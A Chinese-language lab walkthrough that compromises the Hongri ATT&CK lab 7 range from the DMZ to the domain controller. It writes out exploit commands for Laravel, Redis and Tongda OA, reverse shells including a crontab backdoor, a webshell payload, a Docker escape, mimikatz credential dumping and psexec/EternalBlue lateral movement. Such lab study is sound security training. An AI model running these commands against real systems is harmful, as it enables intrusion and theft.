红日ATT&CK靶场系列(七)渗透笔记
本文最后更新于 2024-09-08,文章内容可能已经过时。
红日ATT&CK靶场(七)渗透实战笔记
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
靶场涉及知识点
信息收集:
- 端口扫描
- 端口服务识别
漏洞利用:
- 漏洞搜索与利用
- Laravel Debug mode RCE(CVE-2021-3129)漏洞利用
- Docker逃逸
- 通达OA v11.3 漏洞利用
- Linux环境变量提权
- Redis 未授权访问漏洞
- Linux sudo权限提升(CVE-2021-3156)漏洞利用
- SSH密钥利用
- Windows NetLogon 域内权限提升(CVE-2020-1472)漏洞利用
- MS14-068漏洞利用
构建隧道:
- 路由转发与代理
- 二层网络代理
- 三层网络代理
横向移动:
- 内网(域内)信息收集
- MS17-010
- Windows系统NTLM与用户凭据获取
- SMB Relay攻击
- Psexec远控利用
- 哈希传递攻击(PTH)
- WMI利用
- DCOM利用
权限维持:
- 黄金票据
- 白银票据
- Sid History
一、前置配置:
环境说明
DMZ区IP段为192.168.110.1/24 (桥接模式,实际看网络情况)
- 第二层网络环境IP段为192.168.52.1/24
- 第三层网络环境IP段为192.168.93.1/24
环境配置
在Vmware中新增两个虚拟网卡VMnet8、VMnet14。VMnet8设为默认的NAT模式,IP段设为192.168.52.0/24;VMnet14设为仅主机模式,IP段设为192.168.93.0/24:
将VMnet8作为第二层网络的网卡,VMnet14作为第三层网络的网卡。这样,第二层网络中的所有主机皆可以上网,但是位于第三层网络中的所有主机都不与外网相连通,不能上网。
DMZ区域:
- 给Ubuntu (Web 1) 配置了两个网卡,一个桥接可以对外提供服务;一个连接在VMnet8上连通第二层网络。
第二层网络区域:
- 给Ubuntu (Web 2) 和Windows 7 (PC 1)都配置了两个网卡,一个连接在VMnet8上连通第二层网络,一个连接在VMnet14上连通第三层网络。
第三次网络区域:
- 给Windows Server 2012和Windows 7 (PC 2)都只配置了一个网卡,一个连接在VMnet14上连通第三层网络。
服务配置
靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应的主机上启动靶机服务:
DMZ区的 Ubuntu (web1)需要启动redis和nginx服务:(需要以root启动)
-
sudo redis-server /etc/redis.conf
-
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
(这里可能显示nginx端口占用,sudo netstat -ntlp|grep 80
查看占用后kill杀死,使用sudo fuser -n tcp 81
命令之后重新启动即可)
iptables -F
第二层网络的 Ubuntu(web2)需要启动docker容器:
sudo service docker start
sudo docker start 8e172820ac78
第三层网络的 Windows 7 (PC 1)需要启动通达OA:
- 防火墙默认是开启的,需要关闭
C:\MYOA\bin\AutoConfig.exe
注意:启动web1可能显示nginx端口被占用的情况,使用sudo fuser -n tcp 81
命令之后重新启动,后面下载的靶场通达OA会显示未授权,需要去官网注册获取授权文件。
域用户信息
域用户账户和密码如下:
- Administrator:Whoami2021
- whoami:Whoami2021
- bunny:Bunny2021
- moretz:Moretz2021
Ubuntu 1:
- web:web2021
Ubuntu 2:
- ubuntu:ubuntu
通达OA账户:
- admin:admin657260
(攻击者的IP和DMZ区域的IP1都是桥接模式网卡的,这里我直接引用了官网的图,想自己配置成图中的一样的ip可以设置静态ip,这里我直接图方便就桥接到Wi-Fi上使用dhcp自动分配ip了)
网卡设置
VM虚拟机网卡设置:
kali 网卡设置:
桥接模式桥接到无线网卡,设置为dhcp自动分配ip给kali
/etc/network/interfaces
Ubuntu 64 位 (Web 1):(DMZ区域)
外网网卡:桥接模式
内网网卡:192.168.52.10 (VMnet8)
Ubuntu 64 位 (Web 2):(第二层网络)
外网网卡:192.168.52.20 (VMnet8)
内网网卡:192.168.93.10 (VMnet14)
Windows 7 x64 (PC 1)(第二层网络区域)
外网网卡:192.168.52.30 (VMnet8)
内网网卡:192.168.93.20 (VMnet14)
Windows 7 x64 PC2 (第三层网络区域)
单网卡:192.168.93.40 (VMnet14)
windows server 2012(第三层网络区域)(DC)
单网卡:192.168.93.30 (VMnet14)
一层网络:DMZ区IP段为桥接网卡的网段
第二层网络环境IP段为192.168.52.1/24
第三层网络环境IP段为192.168.93.1/24
二层、三层无法出网,一层不能出网
域用户账户和密码如下:
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
Ubuntu 1: web:web2021
Ubuntu 2: ubuntu:ubuntu
通达OA账户: admin:admin657260
配好之后再启动web环境:
DMZ区的 Ubuntu 需要启动nginx服务:
sudo redis-server /etc/redis.conf
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F
第二层网络的 Ubuntu需要启动docker容器:
sudo service docker start
sudo docker start 8e172820ac78
第三层网络的 Windows 7 (PC 1)需要启动通达OA:(并且需要关闭防火墙,不然ping不通)
C:\MYOA\bin\AutoConfig.exe
以上的配置全部配置好后就可以开始渗透了。以下是渗透的过程记录:
二、渗透过程
2.0、主机发现
kali扫描网段内存活的主机
arp-scan -l
nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.110.1/24
(ps:由于我这里连接的是公共的wifi,扫描到其他主机信息有点多,需要实际情况来判断目标主机的具体ip)
(根据扫描到的信息,确定了目标主机的ip地址为:192.168.110.203)
根据官网的配置kali中的DNS解析:
sudo vim /etc/hosts
#添加如下:
192.168.110.203 www.whopen.com (IP更具实际情况来)(如果有需要在虚拟机外部使用域名,需要配置Windows的hosts文件)
2.1、外网打点(信息搜集)
假设渗透的目标客户只给出了一个域名:www.whopen.com,下面我们要在黑盒的情况下对目标网络进行渗透,最终需要拿下域控制器权限。
使用nmap进行端口扫描:
nmap -p- -sV -sS -O -T5 192.168.110.203
#-p-:全端口扫描
#-sV: 指定让Nmap进行服务版本扫描
#-sS:指定使用 TCP SYN的方式来对目标主机进行扫描
#-O :指定扫描目标的操作系统详情
#-T4: 指定扫描过程使用的时序,总有6个级别(0-5),级别越高,扫描速度越快
发现目标开启了ssh连接22端口,80和81端口开启了nginx反向代理,和redis的6379端口,直接访问该域名,发现找不到资源(后续看了下web1上指向一个公网ip,是一个博客,这里应该是时间久了不显示了)
访问域名的81端口:发现Laravel v8.29.0 (PHP v7.4.14)服务。
百度搜索这个框架有什么漏洞
参考:https://www.yisu.com/jc/498398.html
2.2、第一层网络(DMZ区域)渗透
漏洞利用
CVE-2021-3129-Laravel Debug mode 远程代码执行漏洞
一、漏洞简介
Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。
Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。
二、影响版本
Laravel <= 8.4.2
Ignition <2.5.2
检测的漏洞的工具:
https://github.com/zhzyker/CVE-2021-3129
python3 exp.py http://www.whopen.com:81/
可以被利用
exp漏洞利用工具:
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
python laravel-CVE-2021-3129-EXP.py http://www.whopen.com:81
可以看到exp已经把webshell打进去了,直接使用哥斯拉进行连接(文档写的是用哥斯拉进行连接)
(连接不上,查找后发现这里只能用V29.2版本的哥斯拉)
(我的java版本是jdk11.0.23,后续使用如果存在异常,可以使用命令java -version
看下是否要换个 Java 版本试试)
这里执行ipconfig或者ip addr查看ip信息的时候,发现都执行不了,
执行hostname查看主机名,这里明显可以猜测出来大概是docker容器的名称。
使用cat /proc/1/cgroup
和stat /.dockerenv
查看是否为docker容器
基本可以确定就是docker容器的wen环境。
将哥斯拉的shell反弹回kali会话中
这里可以使用两种方式,
一种是之前在nmap上扫描到了这台主机上的redis服务开启在3389端口,这里可以通过redis未授权访问漏洞进行利用
关于redis未授权访问漏洞利用的详情可以参考以下文章:
https://www.cnblogs.com/bmjoker/p/9548962.html
另一种是直接在使用哥斯拉配合kali的nc进行反弹shell
redis未授权访问漏洞利用
KALI中输入redis-cli -h 192.168.110.203
进行连接目标主机的redis,输入info
后显示回显,说明可以利用这个,接下来直接在kali本地生成密钥然后覆盖目标主机的密钥即可实现未授权直接登录。
未授权访问漏洞攻击者可以在未授权访问redis的情况下利用redis自身提供的config命令,可以进行写文件的操作,攻击者可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys文件中,进而可以使用对于私钥直接使用ssh服务登录目标服务器
ssh-keygen -t rsa #生成公钥
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > pub.txt #将公钥导入pub.txt文件
cat pub.txt | redis-cli -h 192.168.110.203 -p 6379 -x set testpub #把pub.txt文件内容写入目标主机的redis缓冲中
config set dir /root/.ssh #设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys #设置保存文件名为authorized_keys
save #将数据保存在目标服务器硬盘上
写好后直接ssh连接服务器即可进行登录获取shell
ssh root@192.168.110.203
(可以看到直接是root权限)
nc反弹shell
kali的nc监听4444端口
nc -lvp 4444
在哥斯拉中使用命令进行反弹
bash -c "bash -i >& /dev/tcp/192.168.110.141/4444 0>&1"
#填kali的ip
(这里获取的shell是webshell,需要进行提权,不然还是不能直接执行ip等命令)
提权
find / -perm -u=s -type f -ls 2>/dev/null #查看有没有提权点文件
使用file命令一个个查看有root文件使用权限的信息
如:file /home/jobs/shell
#经过查看后发现/home/jobs/shell下的是可执行文件
看到了程序的源码,代码的意思是先获取 root 用户和 root 组的权限,然后执行 ps 命令。
猜测这里的源码文件(demo.c)可能是/home/jobs/shell的源码
执行一下后,发现确实执行了ps命令
由于该程序在执行 ps 命令时,没有使用绝对路径。因此我们可以修改环境变量,让 ps 命令指向我们的恶意程序,从而反弹shell,由于该程序是root权限执行的,会直接提权到root权限。
#使用命令创建反弹 shell 的恶意程序/tmp/ps
echo "/bin/bash" > /tmp/ps
#赋予其可执行权限。
chmod +x /tmp/ps
#修改环境变量,让 ps 命令指向恶意程序/tmp/ps
export PATH=/tmp:$PATH
#确认环境变量修改是否成功
echo $PATH
再次执行/home/jobs/shell
后whoami
发现提权成功。
升级为可交互式的shell
#将简单的Shell转换成为完全交互式的TTY
python -c 'import pty;pty.spawn("/bin/bash")'
(这里要使用)
使用ipconfig查看ip信息:(确实是web1(DMZ区域)的Ubuntu主机)
上线web1(DMZ)到msf
生成一个linux的反向木马:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.110.141 LPORT=6666 -f elf > web1.elf
启动msfconsole监听
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.110.141
set lport 6666
run
将木马通过哥斯拉上传到网站目录,在ssh终端中下载木马
赋予木马可执行权限,并且执行
chmod +x web1.elf
./web1.elf
Msf成功上线。
设置session会话名称:sessions -i 1 -n web1
添加路由
之前上线的web1上发现了疑似内网的ip
由于web1已经上线到msf,可以利用meterpreterf创建路由
#获取本地网络的子网信息
run get_local_subnets
#创建自动路由
run post/multi/manage/autoroute
#查看路由信息
run autoroute -p
已经成功添加了,但是这个路由只能msf用。要是我们想用nmap来探测内网的信息就还需开启socks代理
search socks
use 0
show options
#srvhost设置为0.0.0.0或者127.0.0.1都行,意思是转发本地流量,srvport为转发端口可更改可不改,version为socks版本,4或者5都行
run
#un之后会生成一个job,可以输入jobs查看
(如需终止的话使用jobs -k [id])
编辑vim /etc/proxychains4.conf
,添加一条socks5 127.0.0.1 1080
,保存退出
最后扫描一下位于内网的机器,也就是192.168.52.0/24,记得加上proxychains
(最后发现无法路由过去)只能采用搭建隧道的方式进行内网通信
搭建隧道
以 Web1 的 192.168.52.10 为据点搭建隧道,实现从第一层网络向第二层网络的访问。
Kali 中下载Venom 隧道工具
内网多级代理工具Venom
Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。
Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。
渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。
使用参考:https://blog.csdn.net/qq_33530840/article/details/140036168
https://github.com/Dliv3/Venom
安装
您可以直接下载使用release中编译好的可执行文件
如果您想从源码编译该项目, 需要安装 go >= 1.11, 然后执行下面的命令
go get -u github.com/Dliv3/Venom/... # $GOPATH是安装Go时配置的环境变量,可通过go env命令查看 cd $GOPATH/src/github.com/Dliv3/Venom # 编译好的二进制文件存放在当前目录下的release文件夹中 ./build.sh
使用命令./admin_linux_x64 -lport 9999
通过 admin 节点监听端口
#将agent节点发送到web1
scp -i /root/.ssh/id_rsa ./agent_linux_x64 root@192.168.110.203:/tmp/
接着 SSH 登陆到 Web1(DMZ),执行如下命令:
/tmp/agent_linux_x64 -rhost 192.168.110.141 -rport 9999
通过agent节点连接 Kali 的 admin 节点,此时我们在 admin 节点会看到连接成功的信息。
最后,我们回到 Kali,在 admin 节点中使用命令show
确定 Web1 的 agent 节点 id 是 1,然后使用命令goto 1
进入 Web1 的 agent 节点,使用命令socks 1111
基于 Web1 的 agent 节点在 Kali 本机的 1111 端口创建通往第二层网络的隧道。
在配置文件/etc/proxychains4.conf
中配置socks5 127.0.0.1 1111
就能使用 proxychains
进行访问。
如果还是发现还是访问不了可以试试如下:
proxychains4.conf
这两个配置,dynmic_chain前面的#去掉,strict_chain加上#
2.3、第二层网络
信息搜集
由于 Venom 和 MSF 代理的是 TCP/UDP 协议,而这些协议对资产存活的探测效率没有 ICMP/ARP 协议高,所以我们可以将 fscan 上传到 Web1 上对第二层网络进行资产发现和漏洞发现。
在 Kali 中使用命令scp -i /root/.ssh/id_rsa ./fscan root@192.168.110.203:/root/
将 fscan 上传到 Web1
fscan一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。下载地址:https://github.com/shadow1ng/fscan
wget https://github.com/shadow1ng/fscan/releases/download/1.8.4/fscan
chmod +x ./fscan
赋予 fscan 可执行权限后使用命令sudo ./fscan -h 192.168.52.0/24
进行扫描
可以看到扫描到了内网中存活的主机和开放的端口信息,排除web1(192.168.52.10),和网关(192.168.52.2),和本机(192.168.52.1),剩下的就是我们要进行渗透的
192.168.52.20(从扫描结果看192.168.52.20的8000端口有Laravel的页面和之前的一样的,剩下的只开启了22端口)
192.168.52.30(从扫描结果来看扫描到了操作系统是win7,存在永痕之蓝漏洞,在8080端口开放了通达OA系统,可以利用它来获取敏感信息,从而渗透到域控)
PC 1 渗透(192.168.52.30)
先从192.168.52.30入手,浏览器设置代理,访问通达OA界面(http://192.168.52.30:8080/inc/expired.php)
从页面中的信息可以得知通达OA的版本信息为11.3.200106
版本
网上搜索后可知,这个版本存在未授权文件上传漏洞和任意文件包含漏洞,组合一下就可以实现RCE
参考:
通达OA未授权任意文件上传及文件包含导致远程代码执行漏洞(https://www.anquanke.com/post/id/201174)
kali中下载漏洞利用工具(td_rce)
git clone https://github.com/ghtwf01/td_rce.git
输入一下命令
proxychains python td_rce.py -u http://192.168.52.30:8080/ispirit/im/upload.php -i http://192.168.52.30:8080/ispirit/interface/gateway.php -o "whoami & hostname & ipconfig"
成功利用通达OA漏洞渗透横向进pc1(nt authority\system 用户权限)
上线PC1到Msf
直接设置在目标网站生成shell
kali:
nc -lvnp 8999
#通达OA目录下执行
proxychains python td_rce.py -u http://192.168.52.30:8080/ispirit/im/upload.php -i http://192.168.52.30:8080/ispirit/interface/gateway.php -o "<?php fputs(fopen('../../shell.php','w'),'<?php @eval($_POST["test"])?>');?>"
蚁剑连接直接上传msf的木马进行连接,进入终端执行木马
直接上传msf的shell进行连接
msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exe > msf.exe
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.52.30
set lport 4444
横向移动(建立隧道)
在刚才的IP信息中,我们发现除了192.168.52.0/24的网段以外还存在192.168.93.0/24这个网段
那么接下来我们就可以对该网段进行横向渗透。
首先在 Kali 的 之前的Venoma的dmin 节点的控制台中,在 Web1 节点里执行命令listen 9999
,让 Web1 监听 9999 端口,以提供给 PC1 进行连接,从而建立隧道。
然后在 Venom 工具的目录下使用命令python3 -m http.server
创建 HTTP 服务
在 PC1 中下载 agent 节点
#在通达OArce目录下执行
proxychains python td_rce.py -u http://192.168.52.30:8080/ispirit/im/upload.php -i http://192.168.52.30:8080/ispirit/interface/gateway.php -o "certutil -urlcache -split -f http://192.168.110.141:8000/agent.exe"
让 PC1 连接 Web1,从而建立隧道:
proxychains python td_rce.py -u http://192.168.52.30:8080/ispirit/im/upload.php -i http://192.168.52.30:8080/ispirit/interface/gateway.php -o "start /b agent.exe -rhost 192.168.52.10 -rport 9999"
回到venom的admin节点终端,使用show查看,确定 PC1 的 agent 节点 id 是 2
使用命令goto 2
进入 PC1 的 agent 节点,使用命令socks 2222
基于 PC1 的 agent 节点在 Kali 本机的 2222 端口创建通往第三层网络的隧道。
在配置文件/etc/proxychains4.conf
中配置socks5 127.0.0.1 2222
就能使用 proxychains 进行访问。
Web2(192.168.52.20)渗透
getshell
之前用fscan扫描到web2的网络上部署的 Laravel和第一层网络上的一模一样,直使用CVE-2021-3129 漏洞利用工具拿下:
proxychains python laravel-CVE-2021-3129-EXP.py http://192.168.52.20:8000
使用哥斯拉进行连接:
使用命令cat /proc/1/cgroup
和stat /.dockerenv
确认这台服务器果然是容器环境
提权
先反弹个稳定的shell到kali中:
kali:nc lvp 7777
哥斯拉:bash -c "bash -i >& /dev/tcp/192.168.110.141/7777 0>&1"
再按照之前上线web1提权的方法获取到web2的root权限
#创建恶意程序
echo "/bin/bash" > /tmp/ps
chmod +x /tmp/ps
#修改环境变量:
export PATH=/tmp:$PATH
echo $PATH
#执行恶意程序
/home/jobs/shell
#whoami ; id ; hostname ; ip addr
提权成功
#完整shell
python -c 'import pty;pty.spawn("/bin/bash")'
虽然已经提权成功,但是还是再docker容器里,不能使用ip addr等查看ip信息,因此需要从容器中逃逸到宿主机,获得完整权限。
web2 docker容器逃逸
逐个检查逃逸点,使用命令cat /proc/self/status | grep CapEff
,发现结果是 0000003fffffffff
而不是 0000000000000000
,
说明该容器是由特权模式启动的,可以使用容器逃逸技术进行逃逸到宿主机
参考:
docker逃逸原理和利用详解:
https://cloud.tencent.com/developer/article/2374154
docker配置不当导致的容器逃逸:
特权模式启动的容器,可以挂载宿主机的磁盘,并对磁盘具有 root 用户的读写权限。
使用命令ls -l /dev/sd*
查看宿主机接了几块硬盘
可以发现接了一块硬盘 sda,并划分了 3 个分区,分别是 sda1、sda2、sda5。
使用命令fdisk -l
查看宿主机中可用的磁盘分区,发现 sda1、sda2、sda5 都可用,其中 sda1 是系统分区。利用它就可以进行逃逸
使用命令mkdir /tmp/sda1
创建一个目录,使用命令mount /dev/sda1 /tmp/sda1
将宿主机硬盘的系统分区/dev/sda1 挂载到/tmp/sda1 目录中。
此时容器中的/tmp/sda1 目录,相当于宿主机中的/目录,可以使用命令ls -l /tmp/sda1
进行确认
创建定时任务反弹shell到kali中:
echo '* * * * * root bash -c "bash -i >& /dev/tcp/192.168.110.141/8999 0>&1"' >> /tmp/sda1/etc/crontab
kali启动nc监听:nc -lnvp 8999
逃逸成功,获得宿主机 root 用户的权限
输入ifconfig确认,确实是web2
上线Web2到msf
生成正向木马:
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=9090 -f elf -o web2.elf
KALI中再web2.elf目录中开启http服务,回到逃逸的shell中下载木马:
kali启动msf连接木马:
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.52.20
set lport 9090
run
回到之前逃逸的shell中,执行木马:
chmod +x web2.elf
./web2.elf
bg退出,sessions查看:
上线web2到msf成功。
2.4、第三层网络
信息搜集
回到venom界面使用命令shell
进入 PC1 的 shell 环境,使用命令chcp 65001
将界面编码改成 UTF-8
使用whoami
确定主机名,使用net user
和net user /domain
搜集本机用户和域信息
可以看到主机用户:Administrator
使用ipconfig /displaydns
确认域控制器信息:(一般域控都在dns上,也就是DNS服务器)
使用nslookup dc.whoamianony.org
查看域控的ip地址:
获取到域控的ip地址为192.168.93.30
使用mimikatz获取域控账号密码
在 admin 节点中使用命令show确定 PC1 的 agent 节点 id 是 2,
然后使用命令goto 2
进入 PC1 的 agent 节点,
上传mimikatz到pc1中
(KALI自带的mimikatz在/usr/share/windows-resources/mimikatz/x64/mimikatz.exe 中)
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe C:\MYOA\webroot\ispirit\interface\mimikatz.exe
接下来使用命令shell进入 PC1 的 shell 环境,使用命令mimikatz.exe进入 mimikatz 环境,
使用命令privilege::debug
和sekurlsa::logonPasswords
从系统缓存中提取曾经登陆过系统的帐号密码,获得 WHOAMIANONY.ORG 域内两个域用户的帐号密码Administrator/Whoami2021和bunny/Bunny2021。
回到之前的Venom的admin节点控制台中,使用命令show
确定 PC1 的 agent 节点 id 是 2,然后使用命令goto 2
进入 PC1 的 agent 节点,使用命令shell
进入 PC1 的 shell 环境,使用命令chcp 65001
将界面编码改成 UTF-8
使用如下命令进行ip信息搜集
FOR /L %i IN (1,1,254) DO @ping 192.168.93.%i -n 1 -w 1 | findstr TTL
发现第三网段的ip如上图。
由于 192.168.93.30 (DC)是域控,所以它的渗透价值比 192.168.93.40 (pc2)更大,我们优先渗透 192.168.93.30。
DC(192.168.93.30)域控渗透
提权(getshell)
由于 PC1 信息收集时,已经使用过mimikatz拿到 WHOAMIANONY.ORG 域管理员的帐号密码Administrator/Whoami2021
使用如下命令拿下域控服务器:
proxychains impacket-psexec WHOAMIANONY.ORG/Administrator:Whoami2021@192.168.93.30
上线DC到msf
msf这里也是同样使用psexec
exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
set smbuser administrator
set smbpass Whoami2021
PC2(192.168.93.40)渗透
都拿下域控了前面使用mimikatz可以获取到pc2的用户名密码
直接使用命令拿下:
proxychains impacket-psexec WHOAMIANONY.ORG/Administrator:Whoami2021@192.168.93.40
PC2利用Ms17_010上线到msf
这里对pc2的渗透可以尝试一波ms17_010。最后显示成功上线
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.40
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.40
set lport 4444
exploit
wmiexec smb登录
wmi 出现在所有的 windows 操作系统中,由一组强大的工具集合组成,用于管理本地或远程的 windows 系统。攻击者使用 wmi 攻击时 windows 系统默认不会在日志中记录这些操作,可以做到无日志、攻击脚本无需写入到磁盘,增加了隐蔽性。
wmiexec 执行命令,搜集信息,参考:wmiexec.py 下载地址:
https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
python3 wmiexec.py -debug 'administrator:Whoami2021@192.168.93.40'
三、渗透思路总结:
第一层网络
ip为桥接模式
-
VPN/Wi-Fi,存在弱口令漏洞,可以爆破出密码,获得目标单位内网的访问权限(备注:这句是我编的,目的是让靶场更真实)。
-
Web1的 Redis 服务(6379),存在未授权访问漏洞,可以写入 SSH 公钥、或写入反弹 shell 的计划任务,获得 root 用户权限。由于 Web1 是双网卡,因此同时获得第二层网络192.168.52.0网段的访问权限。
第二层网络(192.168.52.0/24)
-
PC1(192.168.52.30)的通达 OA 服务(8080),存在未授权文件上传漏洞和任意文件包含漏洞,可以先未授权上传包含反弹 shell 代码的文件、再用任意文件包含漏洞触发执行,获得 system 用户权限。由于 PC1 是双网卡,因此同时获得第三层网络的访问权限。
-
Web2(192.168.52.20)的 Laravel 服务(8000),存在 Phar 反序列化漏洞,可以先在日志中写入生成 Webshell 的代码、再用 Phar 反序列化漏洞触发生成 Webshell,获得 Docker 容器的 www-data 用户权限;存在 suid 提权漏洞,能以 root 权限执行返回 shell 的恶意程序,获得 Docker 容器的 root 用户权限;存在 Docker 容器特权模式逃逸漏洞,能在宿主机中写入 SSH 公钥、或写入反弹 shell 的计划任务,获得宿主机的 root 用户权限。
第三层网络(192.168.93.0/24)
-
DC(192.168.93.30),域管理员凭据在 PC1 中泄漏,可以直接进行登陆,获得 system 用户权限。
-
PC2(192.168.93.40)的 SMB 服务(445),存在永恒之蓝漏洞,可以获得 system 用户权限。
至此渗透结束
- 感谢你赐予我前进的力量